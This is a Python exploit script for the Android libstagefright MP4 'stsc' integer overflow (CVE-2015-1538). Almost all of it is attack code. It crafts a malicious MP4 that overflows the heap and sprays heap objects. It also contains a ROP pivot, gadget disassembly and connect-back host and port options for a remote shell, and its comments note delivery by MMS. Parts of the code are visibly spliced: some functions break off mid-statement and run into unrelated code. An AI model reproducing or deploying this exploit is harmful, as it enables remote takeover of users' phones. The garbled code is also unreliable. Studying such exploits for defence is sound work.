#!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 'stsc' atom handling # # Don't forget, the output of "create_mp4" can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one... # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # "With great power comes great responsibility." - Uncle Ben # import struct import socket # # Creates a single MP4 atom - LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise 'Yo! They call it "FourCC" for a reason.' ret = struct.pack('>L', len(data) + 8) ret += tag ret += data return ret # # Make an 'stco' atom - Sample Table Chunk Offets # def make_stco(extra=''): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mNumChunkOffsets return make_chunk('stco', ret+extra) # # Make an 'stsz' atom - Sample Table Size # def make_stsz(extra=''): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mDefaultSampleSize ret += struct.pack('>L', 0) # mNumSampleSizes return make_chunk('stsz', ret+extra) # # Make an 'stts' atom - Sample Table Time-to-Sample # def make_stts(): ret = struct.pack('>L', 0) # version ret += struct.pack('>L', 0) # mTimeToSampleCount return make_chunk('stts', ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = '' ret += struct.pack('>L', start + 1) ret += struct.pack('>L', per) ret += struct.pack('>L', desc) return ret # # Make an 'stsc' chunk - Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack('>L', 0) # version/flags # this is the clean version... if not do_overflow: ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets ret += 'Z' * (12 * num_alloc) return make_chunk('stsc', ret) # now the explicit version. (trigger the bug) ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk('stsc', ret) # patch the data_size ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # """ (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} """ """ b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> """ def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = '' rop += struct.pack('L', 0) ftyp += 'mp42' ftyp += 'isom' chunks.append(make_chunk('ftyp', ftyp)) # Note, this causes a few allocations... moov_data = '' moov_data += make_chunk('mvhd', struct.pack('>LL', 0, 0x41414141) + ('B' * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk('trak', make_chunk('stbl', make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) """ 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! """ page = '' off = 0 # the offset to the next object off += 8 page += struct.pack('L', 0) + make_chunk('ilst', make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) + make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) + make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) + make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) + make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ''.join([ '\x00', # version 'D' * 3, # padding 'E' * (5*4), # {c,m}time, id, ??, duration 'F' * 0x10, # ?? struct.pack('>LLLLLL', 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy 'G' * 0x14 ]) trak1 = '' trak1 += make_chunk('tkhd', tkhd1) mdhd1 = ''.join([ '\x00', # version 'D' * 0x17, # padding ]) mdia1 = '' mdia1 += make_chunk('mdhd', mdhd1) mdia1 += make_chunk('hdlr', 'F' * 0x3a) dinf1 = '' dinf1 += make_chunk('dref', 'H' * 0x14) minf1 = '' minf1 += make_chunk('smhd', 'G' * 0x08) minf1 += make_chunk('dinf', dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk('stbl', stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk('minf', minf1) # Add the mdia to the track trak1 += make_chunk('mdia', mdia1) # Add the nasty track to the moov data moov_data += make_chunk('trak', trak1) # Finalize the moov chunk moov = make_chunk('moov', moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ''.join(chunks) return data if __name__ == '__main__': import sys import mp4 import argparse def write_file(path, content): with open(path, 'wb') as f: f.write(content) def addr(sval): if sval.startswith('0x'): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7') parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345) parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None) parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None) parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4') args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(-1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file... data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print('[*] Saving crafted MP4 to %s ...' % args.output_file) write_file(args.output_file, data)